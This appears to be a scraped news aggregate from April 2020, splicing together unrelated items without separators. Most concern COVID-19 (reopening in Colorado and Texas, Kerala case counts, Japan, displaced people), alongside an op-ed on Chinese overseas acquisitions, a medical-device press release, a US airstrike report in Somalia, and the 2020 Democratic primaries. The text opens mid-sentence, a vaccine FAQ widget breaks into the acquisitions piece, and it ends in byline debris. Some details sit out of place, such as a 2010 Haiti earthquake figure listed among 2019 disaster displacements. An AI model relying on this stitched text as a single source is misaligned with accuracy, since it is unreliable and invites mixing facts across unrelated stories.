Islamabad. Though these symptoms subsided after 4 days, he insisted on getting tested as he had been on the ground working with novel Coronavirus patients. Currently, he is in isolation at a hospital in Islamabad. READ | Pakistan Prime Minister Imran Khan tests negative for the novel Coronavirus Indias revised FDI policy sets out a clear target to protect the domestic industry from falling easy prey to a predatory investment by Chinese Inc. It is predatory because Chinese Inc showed a strong appetite for mergers and acquisitions (M&A), and in recent years, they have been indiscriminatingly binging on takeovers despite unforeseen results. The Chinese are on top of the list as not only India but Anglo-American, European models have been defused by the new Chinese interventions, which are more disruptive than adventure if one can call so. On the one hand, when the status of Chinese public sector investments is under scrutiny internationally, private players are eying for a more market rhythm in the time of financial distress. Such an endgame in the form of M&A always existed. However, Chinas imperceptive use let the M&A to acquire not only a fancy name of takeover diplomacy but a reputation of disruptors. Amid the COVID-19 pandemic, the Chinese outbound M&A recorded a steady growth of $59.6bn via 946 deals in Q1 2020. This is not at an average score compared to several deals and the total investment figures. Some of the M&A activities in past three weeks show the consistency at which Chinese companies made headways in Australia, the United States, Japan, Germany, South Korea, Russia, Holland, including some usual suspects around such as Singapore, Hong Kong, Malaysia, and others from South East Asia, to name a few. All these economies have taken a hit by the pandemic and are heading towards a definite recession. The fears of market volatility or low asset prices, allowing Chinese entities opportunities to take over loom over major economies globally. Consequently, Chinese buyers are facing increasing troubles as protectionism in various investee countries are devising their own set of safety measures. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show From the early 2000s, Chinese companies, in a new spin on globalising footprint, looked at M&A as a springboard. The Chinese were big domestically, but being big in China is one thing; being big globally was another. A focused strategy to shape global M&A was seen effective in raising the Chinese global standing dramatically. Chinese were attempting every bid to flex their deal-making muscles, especially when the supply of bankrupt companies rose sharply during the global financial crisis of 2007. From Italian home decor brands to French couture names, deep inside Europe from chocolates to hotels, Chinese went on an overtaking spree. Technology, R&D labs, startups, and many industries that were losing business were quick to find the Chinese buyers. The financial distress and market volatilities turned into perfect opportunities over financial soundness, and good credit standing of global enterprises. It is not often that loss-making companies are the enticing acquisition targets, but the Chinese do see benefits beyond books. Especially while entering into a new market and new industries, enterprises often experience a lack of resources and capacity to pursue diversification strategies and engage in activities in different areas. Through M&A and related strategic alliances, enterprises can borrow external resources and capabilities for their use; they quickly open up new markets or enter new industries. Just for reference, Chinese Haier decided to acquire Japans Sanyo Electric, a company that had been in the red since 2005 when Haier was reigning domestic appliances market and growth abroad looked difficult. After the July 2011 acquisition, the Chinese brand exploited the opportunities not only in Japan, but also in Asia-pacific. For the first time, a Chinese company had acquired the main business of a large Japanese company, and Sanyo had particular popularity in the Southeast Asian market, and Haier could use the Sanyo brand to expand its business in the Southeast Asian market. In recent times, Chinese companies have been trying to influence not only the production chains but also the value and supply chains to stand out in the global market, and be at the top of the food chain. Any acquisition by the foreign player in India has strategic influence. The M&A in the technology-related services sector would offer the investor global prospects, and, in the productions, it will provide them a plum domestic market to expand. Since most of the M&A has been done with a strategic mind than the business acumen or excellent commercial investment, they have perished over the period resulting in a limited success rate. According to statistics from McKinsey, in the past 20 years, the success rate of Chinese companies overseas M&A did not exceed 33 percent. However, this does not dampen the efforts of Chinese enterprises to snap up global brands hit by the downturn and are available at lower prices as forecasts indicate Chinese outbound M&A will continue apace. Japan's government says it's still cautious about the country's coronavirus outbreak, despite a recent drop in new infections in the capital. Tuesday marks three weeks since the government declared a state of emergency. Tokyo saw the number of daily confirmed cases drop below 100 for two days in a row, with 72 cases on Sunday and 39 on Monday. But government officials say the numbers of cases reported on weekends and Mondays tend to be lower. Prime Minister Abe Shinzo told a meeting of senior officials from his governing Liberal Democratic Party on Monday that the pace of infection seems to be slowing. But he said he is still not optimistic. Abe said he will continue to ask people to refrain from non-essential travel, even if it means they will be deprived of what otherwise would be an enjoyable spring holiday period, which lasts until May 6. The government is calling on people to help achieve its target of slashing person-to-person contact by 80 percent in a bid to contain the outbreak. It believes that infections spread from cities to rural areas when people traveled during a 3-day holiday in March. Six months of pubs with no patrons, beer or parmas will be catastrophic for publicans, staff and the industrys chance of bouncing back from the coronavirus, which has also killed off a $100 million transaction for St Kilda's Espy and seven other gastro pubs. The deal to sell leasehold rights to The Espy and seven other pubs has fallen over. Credit:Jason South Australian Venue Company chief executive Paul Waterson has joined calls from business leaders for federal and state governments to provide a clear pathway out of lockdown, saying it is needed for the industrys survival. Mr Waterson also confirmed a deal to buy St Kilda's historic Esplanade Hotel and seven other popular Melbourne gastro pubs was on ice. If they are talking about a September reopening for our industry, you tell me whether BHP, Telstra or the Commonwealth Bank could survive zero revenue for six months with essentially 12 hours' notice. I mean, in any industry, it's catastrophic, Mr Waterson said. GREELEY, Colo. - Joe Ruzic was watching television this weekend when he saw that a county in northern Colorado would allow all businesses to open Monday, defying Gov. Jared Polis' guidelines for gradually reopening the state's economy. Ruzic was introduced via live video to the Bar.Ber.Shop owner Jose Oregel, who told CNN that he removed the pool table and couches from the main floor of his 4,000-square-foot barber shop and placed chairs more than 10 feet apart. On Monday, Ruzic drove an hour from his home in Boulder to Greeley, past billboards picturing patients young and old ill with the novel coronavirus, breathing through ventilators, to get his hair cut. Polis is one of three Democratic governors who this week are moving to reopen certain businesses. Montana's Steve Bullock allowed houses of worship to open Sunday and retail stores Monday. Minnesota's Tim Walz is allowing certain manufacturers and offices that do not have in-person interaction with clients to open. Other states, including Texas, announced plans to open their states more broadly this week. In Colorado, the state's stay-home order expired Monday, ceding to a tapered plan to reopen the state, beginning with curbside retail sales and elective surgeries Monday. In-person shopping can begin Friday, and barber shops, salons, tattoo parlors and other personal-care businesses can open as well. Offices can open with half their workforce May 4. All businesses must maintain strict social distancing. At a news conference in Denver on Monday, Polis said the state "achieved what we wanted to achieve" during the stay-home order, including slowing the spread of the virus and increasing health-care capacity. The next phase will include managing the spread of the virus and learning to live with social distancing. Deaths and infection rates have declined in recent days, but Polis has said he is concerned about the potential for a second spike. Nearly 14,000 Colorado residents have tested positive for the coronavirus, and more than 700 have died. But the state landscape will not be uniform. Denver Mayor Michael Hancock, a Democrat, has extended the city's stay-home order until May 8, and suburban counties have followed suit. In Greeley, commissioners decided the county needed to get back to business. In a statement, the county commissioners said each heard from constituents who were struggling to pay their bills and take care of their families. The commissioners said preventive measures need to be heeded when businesses reopen. "What we aren't going to do is pick winners and losers as to who gets to restart their livelihoods," the statement said. "At the end of the day, everyone has freedoms: freedom to stay home, freedom to go out, and freedom to support whatever business they want to support. Polis said Monday that any counties that disregard his phased reopening order are violating the law and jeopardizing emergency preparedness grants. Greeley and the rest of Weld County weren't exactly back to normal Monday. Restaurants remained shuttered, offering carryout and delivery only, and many businesses that may soon take advantage of the new rules remained closed, including most spas, salons, barber shops and tattoo shops. But Bar.Ber.Shop was open. Reclining in a barber's chair with white, black and gray clumps of hair at his feet, Ruzic, 48, said the measures taken to stem the spread of the virus in Boulder County, where he lives, were too strict. "Boulder is always too extreme in anything," he said. "They're going for safety and what they think is right." But Ruzic needed a haircut. "It was brutal," he said of his graying locks. "I started having weird waves. It was turning white." At the Man Cave, a small men's salon, Stephanie Church, 28, pressed a straight razor to the neck of her first customer since March 26. "I probably could've come in and done some haircuts," she said, "but it wouldn't have been worth losing my license and paying the fine." Wearing a cloth mask over her face, Church said she thinks she had the virus in late January. She experienced a fever, respiratory issues, headaches and loss of taste, but she never got tested and went back to work after four days, knowing nothing of the virus until weeks later. "Personally, I think this whole thing is overblown, she said. "I wonder, if we used the precautions we're using now five weeks ago, if we never would have had to close." Weld County's decision comes days after the JBS meat processing plant in Greeley reopened following a coronavirus outbreak at the plant. More than 120 plant workers tested positive for the virus and five died, according to Kim Cordova, president of United Food and Commercial Workers, the union that represents plant workers. Vice President Mike Pence and company officials had said all employees would be tested, but Cordova said not all employees have been tested for the virus. "By reneging on this promise and opening the JBS plant up last week despite not testing every worker, Weld County will continue to be a covid-19 hot spot in Colorado since many workers could be presently infected and asymptomatic, spreading coronavirus in the plant and the community," Cordova said in a statement. JBS did not return a request for comment. The company told Colorado Public Radio last week that instead of testing employees, "the company took the more aggressive action to self-quarantine Greeley beef employees during the plant closure." Down the street from the meat packing plant, state officials funneled potential coronavirus patients through hundreds of orange cones arranged in the parking lot of Island Grove Regional Park, where men and women in white hazmat suits evaluated symptoms and tested people for the virus. Colorado Medical Society President and Chairman David Markenson said the state needs to increase testing. "We have not had the testing capacity we want for a broader reopening and to prevent resurgence," he said. In Texas, Gov. Greg Abbott, a Republican, gave most retailers, movie theaters and restaurants the green light to reopen their businesses with limited capacity after more than a month of residents staying home, workers losing jobs and families struggling to pay bills. The order supersedes local stay-home ordinances that are in place in most of the state's biggest cities. The move could set the stage for a clash between the governor and some leaders of Texas' largest metropolitan areas, where the virus's toll has been more acute, over how a gradual reopening will work. Abbott emphasized that as of May 1, business owners, not the government, will decide whether to reopen. "This is permission to open, not a requirement," Abbott said. Businesses must limit occupancy to 25% in this first phase of reopening and implement social distancing standards. More than 25,000 Texans have tested positive for the coronavirus, and 663 have died. Austin Mayor Steve Adler, a Democrat, said his city has achieved a "93% reduction in infectivity." More than 800 people are being tested for the virus each day in Austin, Adler said. But he said it is still not enough, and he worries about places that have not increased their testing capacity. Adler said he worries that infections could spike if reopening moves too quickly and cities aren't able to try to control infection rates with local rules. "The risk is having to do this a second time and have people go back into a stricter sheltering-in-place order if the virus resurges," Adler said. If that happens, "we will do whatever we need to do to protect the public safety." Jeff Moseley, chief executive of the Texas Association of Business, said there is a way for businesses to resume operations safely. He is part of Lt. Gov. Dan Patrick's advisory team developing guidelines for each industry on how best to keep customers and employees safe. They are investigating whether having barbers dressed more like dentists or having customers make appointments at car dealerships and shutting down showrooms are solutions that will make in-person interactions more safe. Texans, he said, need hope. "We Texans like to work," Moseley said. "This is really hard-hitting so we've got to find a way to get people to come back to work and use safety as our north star." Texas has lagged in per capita testing but Abbott said the models he is consulting show the state's new infection rates have declined. The governor deployed National Guard teams around the state to set up 25 mobile testing sites to help push the number of daily tests higher. Texas should soon have the capacity to test 25,000 people a day, said John Hellerstedt, commissioner of the Texas Department of State Health Services. In rural counties with fewer than five active cases of the coronavirus - about half of the state - businesses can increase occupancy to 50%. But gyms, bars, hair salons and barber shops will have to wait until mid-May and can only open if two weeks' worth of data show no infection surges. In El Paso, an isolated high desert locale miles from any other major city, officials say they need more time. "El Paso is not ready at this point," said County Judge Ricardo Samaniego, who owns three barber shops. "We are right in the middle of the peak, and it's difficult to expand business when we and our neighbor, Juarez, are suffering." - - - Hernandez reported from San Antonio. The Washington Post's Samantha Pell contributed reporting from Washington. Express News Service TPURAM/KOTTAYAM/IDUKKI: From a happy green to cautious orange and worrying red zone, the turn for the worse for Kottayam and Idukki in a matter of days has caught the health department off guard. Both districts now have second and third largest numbers of Covid-19 cases in the state, behind only Kannur, which has 49 cases. On Monday, Kottayam and Idukki reported six and four Covid cases, taking the total tally to 17 and 14, respectively. Worryingly, the infected in the past two days included a doctor in Idukki and a male nurse in Kottayam. While health authorities blamed the spike in Idukki on people from neighbouring states entering the district, in Kottayam, officials attributed the rise to the increase in the number of samples tested.As long as people from neighbouring states enter Idukki, the number of positive Covid cases will keep rising. What authorities can do is to increase the surveillance at the border points to prevent unauthorised entry and to isolate those who cross over, said Idukki district medical officer N Priya. On April 16, the government had eased lockdown restrictions in the two central Kerala districts as there were no Covid positive cases, and they were in the green zone. The situation continued till April 21, but the rise in cases forced the government to put the districts in orange zone on April 23, and then in red on Monday. Studies show that relaxing or reversing quarantine measures will lead to an explosion in the infected case count. Also, the case of local transmission among health workers, and that too with untraceable sources of infection, is an indicator of the dangerous situation that the state is heading in to, said a public health expert.Since April 20, the two districts have accounted for 31 of the 80 cases reported in the state nearly 40%. These include imported ones, those entering from neighbouring states and contact transmission. Its worth examining why the two districts witnessed a sudden spike, the health expert said. Nothing unusual in the uptick in cases Rajeev Sadanandan, former health secretary, however, said there is nothing unusual in the uptick in cases. It happened because the authorities increased the surveillance. The cases will continue to show an upward trend. It is not an alarming situation. But one area that the state should focus on is to set up a scientifically designed testing and surveillance system. It will come in handy if the state heads to the third stage - community transmission, he said. After a headload worker in Kottayam turned positive, the number of samples tested in the district has gone up from 35, nine and 20 in the past three days to 262 on Monday.Experts said inter-district travel of health workers in patient care could also be a reason for the sudden spread of Covid cases. The government should step in to ensure the accommodation facilities for health workers, mainly nurses, they said. Though health workers as a whole are prone to infections, the chances of nurses contracting the disease are double-fold. Authorities should provide them with accommodation facilities near the health centre they are working in. Their inter-district travel will also have to be barred, said an expert. Testing times 262 samples tested in Kottayam on Monday, up from 35, nine and 20 in the past 3 days 31 of the 80 +ve cases reported in the state since April 20 were from Idukki & Kottayam 49 cases in Kannur, the highest in the state now MCLA History Professor Receives National Endowment for the Humanities Grant NORTH ADAMS, Mass. Amanda Kleintop, an assistant professor of history at Massachusetts College of Liberal Arts, has been awarded a grant from the National Endowment for the Humanities for her continuing research. The recently announced NEH grants will provide $22.2 million for 224 humanities projects nationwide. The grant awards support the preservation of historical collections, humanities exhibitions and documentaries, scholarly research, and curriculum projects. Kleintop will use her summer stipend grant to complete additional research in the National Archives (pending their reopening) and use that material to edit her manuscript, "The Balance of Freedom: Abolishing Property Rights in Slaves during and after the Civil War." She will also complete an article based on this research. Until the U.S. Civil War, stated Kleintop in her research summary, legal recognition of property rights in slaves enabled slaveholders, merchants and investors to buy and sell slaves on credit and to mortgage human beings. The U.S. government's decision to abolish slavery without reimbursing slave owners for the lost value of freed slaves threatened to send this system into chaos. The Balance of Freedom reveals that, after Confederate surrender, Americans reconciled the enormous emotional and political costs of a four-year war and generations of enslavement by contesting who should bear the financial burden of emancipation, estimated at about $13 trillion by todays standards. It took exceptional circumstances in war and peace to abolish slavery and white southerners' claims that they should be able to profit from the value of people. Many white southerners insisted they should not be penalized for participating in a legal property system and sought compensation for and debt relief from debts for the value of humans. By expressing their claims in legal and economic frameworks, white southerners avoided making race-based moral statements about who should be held accountable for the price of emancipation and enslavement. Nevertheless, other white and black Americans demanded they absorb the financial costs of dissolving an immoral institution that tainted the entire country. They forced white southerners to shoulder the cost when the Fourteenth Amendment nullified claims for compensation in 1868 and the U.S. Supreme Court forced slave buyers to repay debts for people whom the law no longer considered property in 1871. Realizing that acquiescing to uncompensated emancipation would help them solidify political power, white southerners erased the history of their resistance and, by 1900, convinced most Americans that they had not fought the Civil War to protect slavery. Thus, white Americans absolved white southerners and the nation of the history of enslavement and a bloody civil war. Created in 1965 as an independent federal agency, the National Endowment for the Humanities supports research and learning in history, literature, philosophy, and other areas of the humanities by funding selected, peer-reviewed proposals from around the nation. As of Monday afternoon, 366 positive cases have been confirmed in Gary with 12 coronavirus-related deaths. The Lake County dashboard includes information ranging from age to gender and ethnicity to race. Vavilala said her department hopes to update in the near future with more specific information on nursing home staff and residents, as well as increases in cases reported by date. "We are trying to add as much data as possible," Vavilala said. The age of those who tested positive for coronavirus in Lake County is reported most greatly among those in the 50-59 age range, according to the county health department data, with 331 cases. There are 302 cases among people ages 40-49 and 298 cases among people ages 60-69. The 80+ age range leads in reported deaths with 24, and declines in number with the 70-79 age range at 13 deaths and the 60-69 age range with eight deaths. In gender demographics, 634 women have tested positive and 26 women have died. A total of 489 men have tested positive and 24 have died. The department is also reporting 28 positive cases of unknown gender. We thank our sponsor for making this content possible; it is not written by the editorial staff nor does it necessarily reflect its views. Making New Year's resolutions may be something of a fool's gambit considering how few people actually follow through with them. But most of those people don't make significant financial investments into their resolutions READ THE REST A record 50.8 million people are internally displaced because of conflict or disaster and the novel coronavirus pandemic is making them "more vulnerable." Details: The Internal Displacement Monitoring Center (IDMC) issued the warning to coincide with the release of a report Tuesday showing 45.7 million people have been forced to flee their homes as a result of conflict and violence in 61 countries, mostly in Syria, Colombia, the Democratic Republic of the Congo (DRC), Yemen and Afghanistan. A tweet previously embedded here has been deleted or was tweeted from an account that has been suspended or deleted. Why it matters: Access to health care is limited and social distancing is impossible for many refugees and displaced people, with public health experts concerned about a major outbreak in a refugee camp during the coronavirus crisis, per Axios' Rashaan Ayesh. The big picture: 33.4 million more people were displaced in their own countries in 2019 the highest annual figure since 2012, the Global Report on Internal Displacement said. 5.1 million people in 95 countries have had to flee their homes because of disasters, the Norwegian Refugee Council's IDMC found. This includes 33,000 people impacted by the 2010 Haiti earthquake. 24.9 million new displacements were triggered by disasters, including 4.5 million by Cyclone Fani in India and Bangladesh, Cyclones Idai and Kenneth in Mozambique and hurricane Dorian in the Bahamas. Heavy and prolonged rains resulted in widespread flooding in Africa, resulting in 2 million new displacements. Some 8.5 million took place in the context of conflict and violence in countries like Syria, DRC, Ethiopia, South Sudan and Burkina Faso. Zoom in: The coronavirus is already having a devastating effect on displaced peoples. Thousands of displaced Venezuelans who lost their low-income jobs in Colombia because of lockdown measures opted to walk for hundreds of miles to cross the officially closed border and return home, per DW News and the Guardian. In India, people "had to walk hundreds of miles to return to their villages" after lockdown measures were introduced in the country, the IDMC notes. Of note: Internally displaced people "stay within their own country and remain under the protection of its government, even if that government is the reason for their displacement," the UN Refugee Agency notes. They are often forced into areas where it's difficult to give humanitarian assistance. The bottom line: Per a statement from IDMC director Alexandra Bilak, COVID-19 will "compromise their already precarious living conditions, by further limiting their access to essential services and humanitarian aid." Go deeper: The pandemic highlights the man-made disasters to come PRESS RELEASE 28 APRIL 2020 07:00 CEST REGULATED INFORMATION Publication of Annual Report 2019 Ghent, BELGIUM - 28 April 2020 - Sequana Medical NV. The items on the agendas of the meetings include the proposed approval of a number of resolutions relating to the financial year ended on 31 December 2019, as well as the adoption of an amended and restated version of the articles of associations in accordance with the provisions of the new Belgian Companies and Associations Code and reflecting some technical changes. The Annual and Extraordinary General Meetings of Shareholders will take place at the Company's registered offices in Ghent and will start at 09:00 CEST. The full convening notice with the agenda and proposed resolutions can be accessed on the Sequana Medical website: www.sequanamedical.com/investors/shareholder-information . Exceptionally, and in accordance with the Belgian Royal Decree no. 4 of 9 April 2020 on miscellaneous provisions relating to co-ownership and corporate and association law in the context of the fight against the COVID-19 pandemic, the Board of Directors of the Company has decided to hold the meetings behind closed doors without the physical presence of the holders of securities of the Company and their representatives. As a result, the shareholders of the Company can exercise their voting rights only by voting by mail or by means of a handwritten proxy to the Chairman of the Board of Directors. Furthermore, holders of securities of the Company can only exercise their right to ask questions related to the items on the respective agendas of the meetings by means of written questions prior to the respective meetings. For more information, please see the full convening notice on the Company's website. As postal services may be disrupted due to the COVID-19 pandemic, the Company recommends the holders of its securities use e-mail for all communications with the Company regarding the general shareholders' meetings. The Company's e-mail address for such communications is: IR@sequanamedical.com . For more information, please contact: Sequana Medical Lies Vanneste, Director IR Tel: +32 498 05 35 79 Email: IR@sequanamedical.com Consilium Strategic Communications Amber Fennell, Sukaina Virji, Melissa Gardiner Tel: +44 203 709 5000 Email: sequanamedical@consilium-comms.com LifeSci Advisors Chris Maggos Tel: +41 79 367 6254 Email: chris@lifesciadvisors.com About Sequana Medical Sequana Medical is a commercial stage medical device company developing the alfapump platform for the management of fluid overload in liver disease, malignant ascites and heart failure. Fluid overload is a fast growing complication of advanced liver disease driven by NASH (non-alcoholic steatohepatitis) related cirrhosis and a common complication in heart failure. The U.S. market for the alfapump resulting from NASH-related cirrhosis is forecast to exceed 3 billion annually within the next 10-20 years. The heart failure market for the alfapump DSR (Direct Sodium Removal) is estimated to be over 5 billion annually in the U.S. and EU5 by 2026. Both indications leverage Sequana Medical's alfapump, a unique, fully implanted wireless device that automatically pumps fluid from the abdomen into the bladder, where it is naturally eliminated through urination. In the U.S., the company's key growth market, the alfapump has been granted breakthrough device designation by the FDA. The North American pivotal study (POSEIDON) in recurrent and refractory ascites due to liver cirrhosis is currently underway, and is intended to support approval of the alfapump in the U.S. and Canada. In Europe, the alfapump is CE-marked for the management of refractory ascites due to liver cirrhosis and malignant ascites and is included in key clinical practice guidelines. Over 750 alfapump systems have been implanted to date. Building on its proven alfapump platform, Sequana Medical is developing alfapump DSR, a breakthrough, proprietary approach to fluid overload due to heart failure. Clinical proof-of-concept was achieved in a first-in-human single dose DSR study and a repeated dose alfapump DSR study (RED DESERT) in heart failure patients is currently underway. Sequana Medical is headquartered in Ghent, Belgium. For further information, please visit www.sequanamedical.com . Important Regulatory Disclaimers The alfapump has not yet received regulatory approval in the U.S. and Canada. Any statement in this press release about safety and efficacy of the alfapump does not apply to the U.S. and Canada because the device is currently undergoing clinical investigation in these territories. DSR therapy and alfapump DSR are still in development and it should be noted that any statements in this press release regarding safety and efficacy arise from pre-clinical studies and ongoing clinical investigations which have yet to be completed. There is no link between DSR therapy, alfapump DSR and ongoing investigations with the alfapump system in Europe, the U.S. and Canada. Forward-looking statements This press release may contain predictions, estimates or other information that might be considered forward-looking statements. Such forward-looking statements are not guarantees of future performance. These forward-looking statements represent the current judgment of Sequana Medical on what the future holds, and are subject to risks and uncertainties that could cause actual results to differ materially. Sequana Medical expressly disclaims any obligation or undertaking to release any updates or revisions to any forward-looking statements in this press release, except if specifically required to do so by law or regulation. You should not place undue reliance on forward-looking statements, which reflect the opinions of Sequana Medical only as of the date of this press release. WASHINGTON (AP) An American military airstrike in Somalia more than a year ago killed two civilians and injured three others, U.S. Africa Command acknowledged in a new report on Monday. The deaths, confirmed by an internal investigation, mark only the second time Africa Command has determined that civilians were killed in a military strike in Somalia. The decision comes even as U.S. airstrikes against the al-Qaida linked al-Shabab extremist group this year are increasingly outpacing 2019 totals. Already there have been 39 airstrikes in 2020, compared to last years total of 63. Maj. Gen. William Gayler, director of operations for Africa Command, told The Associated Press in an interview that the strike on Feb. 23, 2019, in Kunyon Barrow, targeted and killed two members of al-Shabab. When online allegations of civilian casualties in that strike were received soon afterward, the command investigated, but the review dragged on for more than a year. After another similar allegation about that strike came in early this year from a non-governmental organization, the military continued its assessment, and it finally determined that at least one other person was killed or injured. Gayler said the command could see video showing a person an apparent civilian being carried from the site. We didnt see the other individual or the wounded individuals. But because were trying to be transparent and as open as we can, when we know that weve more likely than not killed the one male, why would we dispute the other killed and three wounded, he said. So, officials decided to substantiate the allegations in total. He said the deaths and injuries were likely due to secondary explosions from munitions stored at the site by al-Shabab. The extremist group controls parts of central and southern Somalia and often targets the capital, Mogadishu, with suicide bombings. Asked why the investigation took so long, Gayler said it was an effort to be thorough and some of the means we use to assess dont normally happen quickly. He did not provide details but noted information is gathered through classified means. Story continues He added, however, that theres no reason it should take that long. And he said Gen. Stephen Townsend, head of Africa Command, is adamant that investigations must be wrapped up more quickly in the future. Townsend also ordered quarterly reports on civilian casualty allegations, much like U.S. Central Command does for Middle East military operations. While we follow very precise and rigorous standards, in instances where we fail to meet our expectations, we will admit the mistake, Townsend said. We have the highest respect for our Somali friends, and we are deeply sorry this occurred. Africa Command's first civilian casualty report, released Monday, covers the time period from February 1, 2019, to March 31, 2020. According to a copy reviewed early by the AP, there were 91 airstrikes in Somalia and Libya during that time. The command has completed reviews of 20 alleged incidents of civilian casualties during that time and substantiated only the February 2019 one. In many of the claims the command found that the U.S. military had conducted no airstrikes on the day in question. In other cases, it determined that those killed or injured were only al-Shabab targets. Gayler also said that al-Shabab and its backers often make false claims on social media sites. And, like many militant groups, al-Shabab also often blends in with local citizens, using civilians as shields or including members that also masquerade as regular business people. Civilian deaths, however, have been a persistent problem for the military in war zones around the world. And watchdog organizations routinely complain that the U.S. and other militaries don't acknowledge civilian deaths as quickly or completely as needed. The Eastern Africa deputy director for Amnesty International, Seif Magango, called the report a welcome glimmer of transparency after more than a decade of military operations. Now there must be accountability and reparation for the victims and their families, he said. In a report early this month, Amnesty International said two airstrikes in Somalia in February killed two civilians and injured three others. The group said that one airstrike, on Feb. 2, struck a home in the Middle Juba region, killing an 18-year-old woman and wounding her two sisters and her grandmother. The second strike, on Feb. 24 near Jilib, killed a farmer who also worked for Hormuud Telecom, Somalias largest telecom company. Gayer said those two are among seven other cases still being investigated. The only other substantiated instance of civilian casualties in Somalia was acknowledged by the command last year and occurred on April 1, 2018. In that case, two civilians were mistakenly killed by a strike near El Buur. The growing threat in Africa from terrorist networks is significant and impacts not only Africans but also the U.S. and our international allies, said Townsend, adding that the strikes follow a strict, disciplined and precise process. There are between 6,000 and 7,000 U.S. forces on the continent at any time, including about 4,000 who are at the U.S. base in Djibouti. Other forces train and advise local forces and conduct counterterrorism missions against militants, such as al-Shabab in Somalia and other al-Qaida-linked groups and Islamic State affiliates in west and north Africa. Former Vice President Joe Biden, presumptive Democratic presidential nominee, left, speaks as Hillary Clinton, former U.S. secretary of state, listens during a virtual event seen on a laptop computer in Arlington, Virginia, U.S., on Tuesday, April 28, 2020. "Joe Biden has been preparing for this moment his entire life. I've been privileged to work with him over the last 25 years," she added. "I am thrilled to be part of your campaign, to not only endorse you but to help highlight a lot of the issues that are at stake in this presidential election," Clinton said Tuesday at a virtual town hall with Biden. Hillary Clinton, the 2016 Democratic presidential nominee, endorsed former Vice President Joe Biden for president on Tuesday, NBC News reported. Clinton, who was secretary of State under President Barack Obama, was the first woman to secure a major party's presidential nomination, and she is the latest political heavyweight to cast an endorsement in Biden's favor. She teased her endorsement in a tweet announcing her attendance at Biden's virtual town hall on Tuesday discussing the impact of the coronavirus on women. Tweet Biden, the apparent Democratic nominee, accepted her endorsement in a tweet. "I'm with her," he tweeted, echoing the signature phrase that Clinton popularized during her 2016 presidential campaign. Tweet Clinton was the Democratic candidate that year who ran against President Donald Trump, just as Biden will likely do in November. Her endorsement comes a few days after Biden received coveted support from other high-profile political leaders, including former President Barack Obama, with whom Biden served, and Sen. Elizabeth Warren, who dropped her presidential bid after reaching near front-runner status at one point. Biden has built a near-insurmountable lead in pledged delegates after several key wins. Sen. Bernie Sanders, who ran against Clinton in the 2016 presidential primary, also endorsed Biden for president after dropping out of the 2020 race on April 8. Sanders, the last candidate to oppose Biden, urged his followers to vote for him in the remaining primaries so he could pick up enough delegates to influence the party platform at the Democratic National Convention, which is slated for August. CUNA has re-launched CreditUnionsVote.com leading up to this years elections with the latest information on changes to primaries and voting by mail/absentee ballot due to the coronavirus disease (COVID-19) pandemic. Life has changed drastically due to the ongoing pandemic, but primary elections still need to be held leading up to Novembers general election, though perhaps under different circumstances than most are used to, said Adam Engelman, CUNAs director of federal grassroots and programs. In addition to the usual information on registration and polling places, CreditUnionsVote.com contains the latest information on changing election dates, as well as mail-in and absentee ballot options. This election is still an opportunity for credit unions to make their voices heard. CUNA launched its Credit Unions Vote Member Activation Program (MAP) campaign earlier this year, ahead of the New Hampshire primary, urging credit union members to vote in the 2020 elections. New York canceled its June 23 presidential primary in response to the coronavirus pandemic, citing a state law that permits the vote to be called off if the races are uncontested. Bernie Sanderss campaign said the decision was an outrage, and called upon the Democratic National Committee to reverse it. Sixteen states and one territory have postponed votes or moved to mail-only ballots, but New York is the first state to cancel its primary altogether. It was initially slated to hold the vote on April 28 but that was postponed until June by Governor Andrew Cuomo in late March. State election officials said they decided to call off the election to protect public health and because Joe Biden was unopposed for the Democratic nomination after Sanderss withdrawal from the race earlier this month. Sanders has endorsed Biden, but wants to stay on the ballot in the remaining primaries to rack up delegates for influence at the convention. Todays decision by the state of New York Board of Elections is an outrage, a blow to American democracy, and must be overturned by the DNC, Sanders campaign adviser Jeff Weaver said in a statement. Just last week, Vice President Biden warned the American people that President Trump could use the current crisis as an excuse to postpone the November election. Well, he now has a precedent thanks to New York state. Weaver added that the decision was not requested by either campaign or the DNC and demanded that New York switch to vote by mail instead. New York has clearly violated its approved delegate selection plan. If this is not remedied, New York should lose all its delegates to the 2020 Democratic National Convention and there should be a broader review by the Democratic Party of New Yorks checkered pattern of voter disenfranchisement, Weaver said. New York state sends 320 delegates to the Democratic nominating convention. David Bergstein, a spokesman for the Democratic National Committee, said New Yorks allocation of delegates would need to be approved by the party. Any substantive change to a states first determining step in allocating delegates like this one will need to be reviewed by the DNCs Rules and By-Laws Committee, Bergstein said. Once the state party submits an updated selection plan on how they plan on allocating delegates, the committee will look at that plan and make a determination. New York Board of Elections Commissioner Andrew Spano, a Democrat, said he had concluded there was no point in moving forward with the primary just for the purposes of issues at a convention. Board of Elections Co-Chair Douglas Kellner, also a Democrat, said that Sanderss withdrawal from the race and his endorsement effectively ended the real contest for the nomination. What the Sanders supporters want is essentially a beauty contest that, given the situation with the public health emergency that exists now, seems to be unnecessary and indeed frivolous, Kellner said. New York has been the state hardest hit in the US by Covid-19 with 288,045 confirmed cases as of Monday and 22,376 deaths -- triple that of New Jersey, the state which has had the second biggest number of fatalities and cases. At least 10 people in Wisconsin contracted the virus after voting in the states primary election earlier this month that was held despite attempts to postpone it by the governor. SHARE THIS ARTICLE ON Share this article Whatsapp Facebook Twitter Linkedin Christophe Bahuet (The Jakarta Post) Jakarta Tue, April 28, 2020 10:17 625 fc6853813033f564188675f8bd49cc4c 3 Opinion #COVID19,COVID-19,coronavirus,#coronavirus,UNDP 